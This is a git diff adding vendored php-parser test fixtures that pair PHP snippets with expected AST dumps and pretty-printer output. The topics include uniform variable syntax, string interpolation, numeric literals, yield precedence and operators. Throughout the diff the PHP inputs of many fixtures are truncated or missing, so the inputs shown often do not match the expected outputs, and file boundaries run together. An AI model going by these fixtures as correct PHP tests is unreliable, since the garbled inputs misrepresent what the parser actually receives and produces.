b/vendor/nikic/php-parser/test/code/parser/expr/uvs/misc.test new file mode 100644 index 00000000..2c5ba900 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/uvs/misc.test @@ -0,0 +1,109 @@ +Uniform variable syntax in PHP 7 (misc) +----- +length(); +(clone $obj)->b[0](1); +[0, 1][0] = 1; +----- +!!php7 +array( + 0: Expr_ArrayDimFetch( + var: Expr_ClassConstFetch( + class: Name( + parts: array( + 0: A + ) + ) + name: A + ) + dim: Scalar_LNumber( + value: 0 + ) + ) + 1: Expr_ArrayDimFetch( + var: Expr_ArrayDimFetch( + var: Expr_ArrayDimFetch( + var: Expr_ClassConstFetch( + class: Name( + parts: array( + 0: A + ) + ) + name: A + ) + dim: Scalar_LNumber( + value: 0 + ) + ) + dim: Scalar_LNumber( + value: 1 + ) + ) + dim: Scalar_LNumber( + value: 2 + ) + ) + 2: Expr_MethodCall( + var: Scalar_String( + value: string + ) + name: length + args: array( + ) + ) + 3: Expr_FuncCall( + name: Expr_ArrayDimFetch( + var: Expr_PropertyFetch( + var: Expr_Clone( + expr: Expr_Variable( + name: obj + ) + ) + name: b + ) + dim: Scalar_LNumber( + value: 0 + ) + ) + args: array( + 0: Arg( + value: Scalar_LNumber( + value: 1 + ) + byRef: false + unpack: false + ) + ) + ) + 4: Expr_Assign( + var: Expr_ArrayDimFetch( + var: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 0 + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 1 + ) + byRef: false + ) + ) + ) + dim: Scalar_LNumber( + value: 0 + ) + ) + expr: Scalar_LNumber( + value: 1 + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/expr/uvs/new.test b/vendor/nikic/php-parser/test/code/parser/expr/uvs/new.test new file mode 100644 index 00000000..e5f92f97 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/uvs/new.test @@ -0,0 +1,95 @@ +UVS new expressions +----- +className; +new Test::$className; +new $test::$className; +new $weird[0]->foo::$className; +----- +!!php7 +array( + 0: Expr_New( + class: Expr_Variable( + name: className + ) + args: array( + ) + ) + 1: Expr_New( + class: Expr_ArrayDimFetch( + var: Expr_Variable( + name: array + ) + dim: Scalar_String( + value: className + ) + ) + args: array( + ) + ) + 2: Expr_New( + class: Expr_ArrayDimFetch( + var: Expr_Variable( + name: array + ) + dim: Scalar_String( + value: className + ) + ) + args: array( + ) + ) + 3: Expr_New( + class: Expr_PropertyFetch( + var: Expr_Variable( + name: obj + ) + name: className + ) + args: array( + ) + ) + 4: Expr_New( + class: Expr_StaticPropertyFetch( + class: Name( + parts: array( + 0: Test + ) + ) + name: className + ) + args: array( + ) + ) + 5: Expr_New( + class: Expr_StaticPropertyFetch( + class: Expr_Variable( + name: test + ) + name: className + ) + args: array( + ) + ) + 6: Expr_New( + class: Expr_StaticPropertyFetch( + class: Expr_PropertyFetch( + var: Expr_ArrayDimFetch( + var: Expr_Variable( + name: weird + ) + dim: Scalar_LNumber( + value: 0 + ) + ) + name: foo + ) + name: className + ) + args: array( + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/expr/uvs/staticProperty.test b/vendor/nikic/php-parser/test/code/parser/expr/uvs/staticProperty.test new file mode 100644 index 00000000..5fadfc48 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/uvs/staticProperty.test @@ -0,0 +1,93 @@ +UVS static access +----- +c test +EOS; + +b<<B"; +"$A[B]"; +"$A[0]"; +"$A[0x0]"; +"$A[$B]"; +"{$A}"; +"{$A['B']}"; +"${A}"; +"${A['B']}"; +"${$A}"; +"\{$A}"; +"\{ $A }"; +"\\{$A}"; +"\\{ $A }"; +"{$$A}[B]"; +"$$A[B]"; +"A $B C"; +b"$A"; +B"$A"; +----- +array( + 0: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: A + ) + ) + ) + 1: Scalar_Encapsed( + parts: array( + 0: Expr_PropertyFetch( + var: Expr_Variable( + name: A + ) + name: B + ) + ) + ) + 2: Scalar_Encapsed( + parts: array( + 0: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Scalar_String( + value: B + ) + ) + ) + ) + 3: Scalar_Encapsed( + parts: array( + 0: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Scalar_String( + value: 0 + ) + ) + ) + ) + 4: Scalar_Encapsed( + parts: array( + 0: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Scalar_String( + value: 0x0 + ) + ) + ) + ) + 5: Scalar_Encapsed( + parts: array( + 0: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Expr_Variable( + name: B + ) + ) + ) + ) + 6: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: A + ) + ) + ) + 7: Scalar_Encapsed( + parts: array( + 0: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Scalar_String( + value: B + ) + ) + ) + ) + 8: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: A + ) + ) + ) + 9: Scalar_Encapsed( + parts: array( + 0: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Scalar_String( + value: B + ) + ) + ) + ) + 10: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: Expr_Variable( + name: A + ) + ) + ) + ) + 11: Scalar_Encapsed( + parts: array( + 0: Scalar_EncapsedStringPart( + value: \{ + ) + 1: Expr_Variable( + name: A + ) + 2: Scalar_EncapsedStringPart( + value: } + ) + ) + ) + 12: Scalar_Encapsed( + parts: array( + 0: Scalar_EncapsedStringPart( + value: \{ + ) + 1: Expr_Variable( + name: A + ) + 2: Scalar_EncapsedStringPart( + value: } + ) + ) + ) + 13: Scalar_Encapsed( + parts: array( + 0: Scalar_EncapsedStringPart( + value: \ + ) + 1: Expr_Variable( + name: A + ) + ) + ) + 14: Scalar_Encapsed( + parts: array( + 0: Scalar_EncapsedStringPart( + value: \{ + ) + 1: Expr_Variable( + name: A + ) + 2: Scalar_EncapsedStringPart( + value: } + ) + ) + ) + 15: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: Expr_Variable( + name: A + ) + ) + 1: Scalar_EncapsedStringPart( + value: [B] + ) + ) + ) + 16: Scalar_Encapsed( + parts: array( + 0: Scalar_EncapsedStringPart( + value: $ + ) + 1: Expr_ArrayDimFetch( + var: Expr_Variable( + name: A + ) + dim: Scalar_String( + value: B + ) + ) + ) + ) + 17: Scalar_Encapsed( + parts: array( + 0: Scalar_EncapsedStringPart( + value: A + ) + 1: Expr_Variable( + name: B + ) + 2: Scalar_EncapsedStringPart( + value: C + ) + ) + ) + 18: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: A + ) + ) + ) + 19: Scalar_Encapsed( + parts: array( + 0: Expr_Variable( + name: A + ) + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/scalar/float.test b/vendor/nikic/php-parser/test/code/parser/scalar/float.test new file mode 100644 index 00000000..a16028e2 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/scalar/float.test @@ -0,0 +1,74 @@ +Different float syntaxes +----- + float overflows +// (all are actually the same number, just in different representations) +18446744073709551615; +0xFFFFFFFFFFFFFFFF; +01777777777777777777777; +0177777777777777777777787; +0b1111111111111111111111111111111111111111111111111111111111111111; +----- +array( + 0: Scalar_DNumber( + value: 0 + ) + 1: Scalar_DNumber( + value: 0 + ) + 2: Scalar_DNumber( + value: 0 + ) + 3: Scalar_DNumber( + value: 0 + ) + 4: Scalar_DNumber( + value: 0 + ) + 5: Scalar_DNumber( + value: 0 + ) + 6: Scalar_DNumber( + value: 0 + ) + 7: Scalar_DNumber( + value: 302000000000 + ) + 8: Scalar_DNumber( + value: 3.002E+102 + ) + 9: Scalar_DNumber( + value: INF + ) + 10: Scalar_DNumber( + value: 1.844674407371E+19 + comments: array( + 0: // various integer -> float overflows + 1: // (all are actually the same number, just in different representations) + ) + ) + 11: Scalar_DNumber( + value: 1.844674407371E+19 + ) + 12: Scalar_DNumber( + value: 1.844674407371E+19 + ) + 13: Scalar_DNumber( + value: 1.844674407371E+19 + ) + 14: Scalar_DNumber( + value: 1.844674407371E+19 + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/scalar/int.test b/vendor/nikic/php-parser/test/code/parser/scalar/int.test new file mode 100644 index 00000000..5a212677 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/scalar/int.test @@ -0,0 +1,43 @@ +Different integer syntaxes +----- +array(); +$t->public(); + +Test::list(); +Test::protected(); + +$t->class; +$t->private; + +Test::TRAIT; +Test::FINAL; + +class Foo { + use TraitA, TraitB { + TraitA::catch insteadof namespace\TraitB; + TraitA::list as foreach; + TraitB::throw as protected public; + TraitB::self as protected; + exit as die; + \TraitC::exit as bye; + namespace\TraitC::exit as byebye; + TraitA:: + // + /** doc comment */ + # + catch /* comment */ + // comment + # comment + insteadof TraitB; + } +} +----- +array( + 0: Stmt_Class( + type: 0 + name: Test + extends: null + implements: array( + ) + stmts: array( + 0: Stmt_ClassMethod( + type: 0 + byRef: false + name: array + params: array( + ) + returnType: null + stmts: array( + ) + ) + 1: Stmt_ClassMethod( + type: 0 + byRef: false + name: public + params: array( + ) + returnType: null + stmts: array( + ) + ) + 2: Stmt_ClassMethod( + type: 8 + byRef: false + name: list + params: array( + ) + returnType: null + stmts: array( + ) + ) + 3: Stmt_ClassMethod( + type: 8 + byRef: false + name: protected + params: array( + ) + returnType: null + stmts: array( + ) + ) + 4: Stmt_Property( + type: 1 + props: array( + 0: Stmt_PropertyProperty( + name: class + default: null + ) + ) + ) + 5: Stmt_Property( + type: 1 + props: array( + 0: Stmt_PropertyProperty( + name: private + default: null + ) + ) + ) + 6: Stmt_ClassConst( + consts: array( + 0: Const( + name: TRAIT + value: Scalar_LNumber( + value: 3 + ) + ) + 1: Const( + name: FINAL + value: Scalar_LNumber( + value: 4 + ) + ) + ) + ) + 7: Stmt_ClassConst( + consts: array( + 0: Const( + name: __CLASS__ + value: Scalar_LNumber( + value: 1 + ) + ) + 1: Const( + name: __TRAIT__ + value: Scalar_LNumber( + value: 2 + ) + ) + 2: Const( + name: __FUNCTION__ + value: Scalar_LNumber( + value: 3 + ) + ) + 3: Const( + name: __METHOD__ + value: Scalar_LNumber( + value: 4 + ) + ) + 4: Const( + name: __LINE__ + value: Scalar_LNumber( + value: 5 + ) + ) + 5: Const( + name: __FILE__ + value: Scalar_LNumber( + value: 6 + ) + ) + 6: Const( + name: __DIR__ + value: Scalar_LNumber( + value: 7 + ) + ) + 7: Const( + name: __NAMESPACE__ + value: Scalar_LNumber( + value: 8 + ) + ) + ) + ) + ) + ) + 1: Expr_Assign( + var: Expr_Variable( + name: t + ) + expr: Expr_New( + class: Name( + parts: array( + 0: Test + ) + ) + args: array( + ) + ) + ) + 2: Expr_MethodCall( + var: Expr_Variable( + name: t + ) + name: array + args: array( + ) + ) + 3: Expr_MethodCall( + var: Expr_Variable( + name: t + ) + name: public + args: array( + ) + ) + 4: Expr_StaticCall( + class: Name( + parts: array( + 0: Test + ) + ) + name: list + args: array( + ) + ) + 5: Expr_StaticCall( + class: Name( + parts: array( + 0: Test + ) + ) + name: protected + args: array( + ) + ) + 6: Expr_PropertyFetch( + var: Expr_Variable( + name: t + ) + name: class + ) + 7: Expr_PropertyFetch( + var: Expr_Variable( + name: t + ) + name: private + ) + 8: Expr_ClassConstFetch( + class: Name( + parts: array( + 0: Test + ) + ) + name: TRAIT + ) + 9: Expr_ClassConstFetch( + class: Name( + parts: array( + 0: Test + ) + ) + name: FINAL + ) + 10: Stmt_Class( + type: 0 + name: Foo + extends: null + implements: array( + ) + stmts: array( + 0: Stmt_TraitUse( + traits: array( + 0: Name( + parts: array( + 0: TraitA + ) + ) + 1: Name( + parts: array( + 0: TraitB + ) + ) + ) + adaptations: array( + 0: Stmt_TraitUseAdaptation_Precedence( + trait: Name( + parts: array( + 0: TraitA + ) + ) + method: catch + insteadof: array( + 0: Name_Relative( + parts: array( + 0: TraitB + ) + ) + ) + ) + 1: Stmt_TraitUseAdaptation_Alias( + trait: Name( + parts: array( + 0: TraitA + ) + ) + method: list + newModifier: null + newName: foreach + ) + 2: Stmt_TraitUseAdaptation_Alias( + trait: Name( + parts: array( + 0: TraitB + ) + ) + method: throw + newModifier: 2 + newName: public + ) + 3: Stmt_TraitUseAdaptation_Alias( + trait: Name( + parts: array( + 0: TraitB + ) + ) + method: self + newModifier: 2 + newName: null + ) + 4: Stmt_TraitUseAdaptation_Alias( + trait: null + method: exit + newModifier: null + newName: die + ) + 5: Stmt_TraitUseAdaptation_Alias( + trait: Name_FullyQualified( + parts: array( + 0: TraitC + ) + ) + method: exit + newModifier: null + newName: bye + ) + 6: Stmt_TraitUseAdaptation_Alias( + trait: Name_Relative( + parts: array( + 0: TraitC + ) + ) + method: exit + newModifier: null + newName: byebye + ) + 7: Stmt_TraitUseAdaptation_Precedence( + trait: Name( + parts: array( + 0: TraitA + ) + ) + method: catch + insteadof: array( + 0: Name( + parts: array( + 0: TraitB + ) + ) + ) + ) + ) + ) + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/stmt/blocklessStatement.test b/vendor/nikic/php-parser/test/code/parser/stmt/blocklessStatement.test new file mode 100644 index 00000000..ae83dabb --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/stmt/blocklessStatement.test @@ -0,0 +1,112 @@ +Blockless statements for if/for/etc +----- + 'baz'] +) {} +----- +array( + 0: Stmt_Function( + byRef: false + name: a + params: array( + 0: Param( + type: null + byRef: false + variadic: false + name: b + default: Expr_ConstFetch( + name: Name( + parts: array( + 0: null + ) + ) + ) + ) + 1: Param( + type: null + byRef: false + variadic: false + name: c + default: Scalar_String( + value: foo + ) + ) + 2: Param( + type: null + byRef: false + variadic: false + name: d + default: Expr_ClassConstFetch( + class: Name( + parts: array( + 0: A + ) + ) + name: B + ) + ) + 3: Param( + type: null + byRef: false + variadic: false + name: f + default: Expr_UnaryPlus( + expr: Scalar_LNumber( + value: 1 + ) + ) + ) + 4: Param( + type: null + byRef: false + variadic: false + name: g + default: Expr_UnaryMinus( + expr: Scalar_DNumber( + value: 1 + ) + ) + ) + 5: Param( + type: null + byRef: false + variadic: false + name: h + default: Expr_Array( + items: array( + ) + ) + ) + 6: Param( + type: null + byRef: false + variadic: false + name: i + default: Expr_Array( + items: array( + ) + ) + ) + 7: Param( + type: null + byRef: false + variadic: false + name: j + default: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: foo + ) + byRef: false + ) + ) + ) + ) + 8: Param( + type: null + byRef: false + variadic: false + name: k + default: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: foo + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: Scalar_String( + value: bar + ) + value: Scalar_String( + value: baz + ) + byRef: false + ) + ) + ) + ) + ) + returnType: null + stmts: array( + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/stmt/function/returnTypes.test b/vendor/nikic/php-parser/test/code/parser/stmt/function/returnTypes.test new file mode 100644 index 00000000..ca6c3106 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/stmt/function/returnTypes.test @@ -0,0 +1,52 @@ +Return type declarations +----- + $value; + + // expressions + $data = yield; + $data = (yield $value); + $data = (yield $key => $value); + + // yield in language constructs with their own parentheses + if (yield $foo); elseif (yield $foo); + if (yield $foo): elseif (yield $foo): endif; + while (yield $foo); + do {} while (yield $foo); + switch (yield $foo) {} + die(yield $foo); + + // yield in function calls + func(yield $foo); + $foo->func(yield $foo); + new Foo(yield $foo); + + yield from $foo; + yield from $foo and yield from $bar; + yield from $foo + $bar; +} +----- +array( + 0: Stmt_Function( + byRef: false + name: gen + params: array( + ) + returnType: null + stmts: array( + 0: Expr_Yield( + key: null + value: null + comments: array( + 0: // statements + ) + ) + 1: Expr_Yield( + key: null + value: Expr_Variable( + name: value + ) + ) + 2: Expr_Yield( + key: Expr_Variable( + name: key + ) + value: Expr_Variable( + name: value + ) + ) + 3: Expr_Assign( + var: Expr_Variable( + name: data + comments: array( + 0: // expressions + ) + ) + expr: Expr_Yield( + key: null + value: null + ) + comments: array( + 0: // expressions + ) + ) + 4: Expr_Assign( + var: Expr_Variable( + name: data + ) + expr: Expr_Yield( + key: null + value: Expr_Variable( + name: value + ) + ) + ) + 5: Expr_Assign( + var: Expr_Variable( + name: data + ) + expr: Expr_Yield( + key: Expr_Variable( + name: key + ) + value: Expr_Variable( + name: value + ) + ) + ) + 6: Stmt_If( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + stmts: array( + ) + elseifs: array( + 0: Stmt_ElseIf( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + stmts: array( + ) + ) + ) + else: null + comments: array( + 0: // yield in language constructs with their own parentheses + ) + ) + 7: Stmt_If( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + stmts: array( + ) + elseifs: array( + 0: Stmt_ElseIf( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + stmts: array( + ) + ) + ) + else: null + ) + 8: Stmt_While( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + stmts: array( + ) + ) + 9: Stmt_Do( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + stmts: array( + ) + ) + 10: Stmt_Switch( + cond: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + cases: array( + ) + ) + 11: Expr_Exit( + expr: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + ) + 12: Expr_FuncCall( + name: Name( + parts: array( + 0: func + ) + comments: array( + 0: // yield in function calls + ) + ) + args: array( + 0: Arg( + value: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + byRef: false + unpack: false + ) + ) + comments: array( + 0: // yield in function calls + ) + ) + 13: Expr_MethodCall( + var: Expr_Variable( + name: foo + ) + name: func + args: array( + 0: Arg( + value: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + byRef: false + unpack: false + ) + ) + ) + 14: Expr_New( + class: Name( + parts: array( + 0: Foo + ) + ) + args: array( + 0: Arg( + value: Expr_Yield( + key: null + value: Expr_Variable( + name: foo + ) + ) + byRef: false + unpack: false + ) + ) + ) + 15: Expr_YieldFrom( + expr: Expr_Variable( + name: foo + ) + ) + 16: Expr_BinaryOp_LogicalAnd( + left: Expr_YieldFrom( + expr: Expr_Variable( + name: foo + ) + ) + right: Expr_YieldFrom( + expr: Expr_Variable( + name: bar + ) + ) + ) + 17: Expr_YieldFrom( + expr: Expr_BinaryOp_Plus( + left: Expr_Variable( + name: foo + ) + right: Expr_Variable( + name: bar + ) + ) + ) + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/stmt/generator/yieldPrecedence.test b/vendor/nikic/php-parser/test/code/parser/stmt/generator/yieldPrecedence.test new file mode 100644 index 00000000..ff0d4df0 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/stmt/generator/yieldPrecedence.test @@ -0,0 +1,230 @@ +Yield operator precedence +----- + "a" . "b"; + yield "k" => "a" or die; + var_dump([yield "k" => "a" . "b"]); + yield yield "k1" => yield "k2" => "a" . "b"; + yield yield "k1" => (yield "k2") => "a" . "b"; + var_dump([yield "k1" => yield "k2" => "a" . "b"]); + var_dump([yield "k1" => (yield "k2") => "a" . "b"]); +} +----- +!!php7 +array( + 0: Stmt_Function( + byRef: false + name: gen + params: array( + ) + returnType: null + stmts: array( + 0: Expr_Yield( + key: null + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + ) + 1: Expr_BinaryOp_LogicalOr( + left: Expr_Yield( + key: null + value: Scalar_String( + value: a + ) + ) + right: Expr_Exit( + expr: null + ) + ) + 2: Expr_Yield( + key: Scalar_String( + value: k + ) + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + ) + 3: Expr_BinaryOp_LogicalOr( + left: Expr_Yield( + key: Scalar_String( + value: k + ) + value: Scalar_String( + value: a + ) + ) + right: Expr_Exit( + expr: null + ) + ) + 4: Expr_FuncCall( + name: Name( + parts: array( + 0: var_dump + ) + ) + args: array( + 0: Arg( + value: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Expr_Yield( + key: Scalar_String( + value: k + ) + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + ) + byRef: false + ) + ) + ) + byRef: false + unpack: false + ) + ) + ) + 5: Expr_Yield( + key: null + value: Expr_Yield( + key: Scalar_String( + value: k1 + ) + value: Expr_Yield( + key: Scalar_String( + value: k2 + ) + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + ) + ) + ) + 6: Expr_Yield( + key: Expr_Yield( + key: Scalar_String( + value: k1 + ) + value: Expr_Yield( + key: null + value: Scalar_String( + value: k2 + ) + ) + ) + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + ) + 7: Expr_FuncCall( + name: Name( + parts: array( + 0: var_dump + ) + ) + args: array( + 0: Arg( + value: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Expr_Yield( + key: Scalar_String( + value: k1 + ) + value: Expr_Yield( + key: Scalar_String( + value: k2 + ) + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + ) + ) + byRef: false + ) + ) + ) + byRef: false + unpack: false + ) + ) + ) + 8: Expr_FuncCall( + name: Name( + parts: array( + 0: var_dump + ) + ) + args: array( + 0: Arg( + value: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: Expr_Yield( + key: Scalar_String( + value: k1 + ) + value: Expr_Yield( + key: null + value: Scalar_String( + value: k2 + ) + ) + ) + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: a + ) + right: Scalar_String( + value: b + ) + ) + byRef: false + ) + ) + ) + byRef: false + unpack: false + ) + ) + ) + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/stmt/generator/yieldUnaryPrecedence.test b/vendor/nikic/php-parser/test/code/parser/stmt/generator/yieldUnaryPrecedence.test new file mode 100644 index 00000000..13f96602 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/stmt/generator/yieldUnaryPrecedence.test @@ -0,0 +1,48 @@ +Yield with unary operator argument +----- + +Hallo World! +----- +array( + 0: Expr_Variable( + name: a + ) + 1: Stmt_HaltCompiler( + remaining: Hallo World! + ) +) +----- + +#!/usr/bin/env php +----- +array( + 0: Stmt_InlineHTML( + value: #!/usr/bin/env php + + ) + 1: Stmt_Echo( + exprs: array( + 0: Scalar_String( + value: foobar + ) + ) + ) + 2: Stmt_InlineHTML( + value: #!/usr/bin/env php + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/stmt/if.test b/vendor/nikic/php-parser/test/code/parser/stmt/if.test new file mode 100644 index 00000000..e054c897 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/stmt/if.test @@ -0,0 +1,103 @@ +If/Elseif/Else +----- + +B + + $c) {} +foreach ($a as $b => &$c) {} +foreach ($a as list($a, $b)) {} +foreach ($a as $a => list($b, , $c)) {} + +// foreach on expression +foreach (array() as $b) {} + +// alternative syntax +foreach ($a as $b): +endforeach; +----- +array( + 0: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: null + byRef: false + valueVar: Expr_Variable( + name: b + ) + stmts: array( + ) + comments: array( + 0: // foreach on variable + ) + ) + 1: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: null + byRef: true + valueVar: Expr_Variable( + name: b + ) + stmts: array( + ) + ) + 2: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: Expr_Variable( + name: b + ) + byRef: false + valueVar: Expr_Variable( + name: c + ) + stmts: array( + ) + ) + 3: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: Expr_Variable( + name: b + ) + byRef: true + valueVar: Expr_Variable( + name: c + ) + stmts: array( + ) + ) + 4: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: null + byRef: false + valueVar: Expr_List( + vars: array( + 0: Expr_Variable( + name: a + ) + 1: Expr_Variable( + name: b + ) + ) + ) + stmts: array( + ) + ) + 5: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: Expr_Variable( + name: a + ) + byRef: false + valueVar: Expr_List( + vars: array( + 0: Expr_Variable( + name: b + ) + 1: null + 2: Expr_Variable( + name: c + ) + ) + ) + stmts: array( + ) + ) + 6: Stmt_Foreach( + expr: Expr_Array( + items: array( + ) + ) + keyVar: null + byRef: false + valueVar: Expr_Variable( + name: b + ) + stmts: array( + ) + comments: array( + 0: // foreach on expression + ) + ) + 7: Stmt_Foreach( + expr: Expr_Variable( + name: a + ) + keyVar: null + byRef: false + valueVar: Expr_Variable( + name: b + ) + stmts: array( + ) + comments: array( + 0: // alternative syntax + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/stmt/loop/while.test b/vendor/nikic/php-parser/test/code/parser/stmt/loop/while.test new file mode 100644 index 00000000..65f6b233 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/stmt/loop/while.test @@ -0,0 +1,25 @@ +While loop +----- + +Hi! +----- +array( + 0: Stmt_Declare( + declares: array( + 0: Stmt_DeclareDeclare( + key: A + value: Scalar_String( + value: B + ) + ) + ) + stmts: null + ) + 1: Stmt_Namespace( + name: Name( + parts: array( + 0: B + ) + ) + stmts: array( + ) + ) + 2: Stmt_HaltCompiler( + remaining: Hi! + ) +) +----- +a = $a; + } +}; +----- +new class +{ +}; +new class extends A implements B, C +{ +}; +new class($a) extends A +{ + private $a; + public function __construct($a) + { + $this->a = $a; + } +}; diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/expr/call.test b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/call.test new file mode 100644 index 00000000..0ec8925c --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/call.test @@ -0,0 +1,13 @@ +Calls +----- +d} +STR; + +call( + <<d} +STR; +call(<<> $b; +$a < $b; +$a <= $b; +$a > $b; +$a >= $b; +$a == $b; +$a != $b; +$a <> $b; +$a === $b; +$a !== $b; +$a <=> $b; +$a & $b; +$a ^ $b; +$a | $b; +$a && $b; +$a || $b; +$a ? $b : $c; +$a ?: $c; +$a ?? $c; + +$a = $b; +$a **= $b; +$a *= $b; +$a /= $b; +$a %= $b; +$a += $b; +$a -= $b; +$a .= $b; +$a <<= $b; +$a >>= $b; +$a &= $b; +$a ^= $b; +$a |= $b; +$a =& $b; + +$a and $b; +$a xor $b; +$a or $b; + +$a instanceof Foo; +$a instanceof $b; +----- +$a ** $b; +++$a; +--$a; +$a++; +$a--; +@$a; +~$a; +-$a; ++$a; +(int) $a; +(int) $a; +(double) $a; +(double) $a; +(double) $a; +(string) $a; +(string) $a; +(array) $a; +(object) $a; +(bool) $a; +(bool) $a; +(unset) $a; +$a * $b; +$a / $b; +$a % $b; +$a + $b; +$a - $b; +$a . $b; +$a << $b; +$a >> $b; +$a < $b; +$a <= $b; +$a > $b; +$a >= $b; +$a == $b; +$a != $b; +$a != $b; +$a === $b; +$a !== $b; +$a <=> $b; +$a & $b; +$a ^ $b; +$a | $b; +$a && $b; +$a || $b; +$a ? $b : $c; +$a ?: $c; +$a ?? $c; +$a = $b; +$a **= $b; +$a *= $b; +$a /= $b; +$a %= $b; +$a += $b; +$a -= $b; +$a .= $b; +$a <<= $b; +$a >>= $b; +$a &= $b; +$a ^= $b; +$a |= $b; +$a =& $b; +$a and $b; +$a xor $b; +$a or $b; +$a instanceof Foo; +$a instanceof $b; diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/expr/parentheses.test b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/parentheses.test new file mode 100644 index 00000000..1f18b659 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/parentheses.test @@ -0,0 +1,77 @@ +Pretty printer generates least-parentheses output +----- + 0) > (1 < 0); +++$a + $b; +$a + $b++; + +$a ** $b ** $c; +($a ** $b) ** $c; +-1 ** 2; + +yield from $a and yield from $b; +yield from ($a and yield from $b); + +print ($a and print $b); + +// The following will currently add unnecessary parentheses, because the pretty printer is not aware that assignment +// and incdec only work on variables. +!$a = $b; +++$a ** $b; +$a ** $b++; +----- +echo 'abc' . 'cde' . 'fgh'; +echo 'abc' . ('cde' . 'fgh'); +echo 'abc' . 1 + 2 . 'fgh'; +echo 'abc' . (1 + 2) . 'fgh'; +echo 1 * 2 + 3 / 4 % 5 . 6; +echo 1 * (2 + 3) / (4 % (5 . 6)); +$a = $b = $c = $d = $f && true; +($a = $b = $c = $d = $f) && true; +$a = $b = $c = $d = $f and true; +$a = $b = $c = $d = ($f and true); +$a ? $b : $c ? $d : $e ? $f : $g; +$a ? $b : ($c ? $d : ($e ? $f : $g)); +$a ? $b ? $c : $d : $f; +$a ?? $b ?? $c; +($a ?? $b) ?? $c; +$a ?? ($b ? $c : $d); +$a || ($b ?? $c); +(1 > 0) > (1 < 0); +++$a + $b; +$a + $b++; +$a ** $b ** $c; +($a ** $b) ** $c; +-1 ** 2; +yield from $a and yield from $b; +yield from ($a and yield from $b); +print ($a and print $b); +// The following will currently add unnecessary 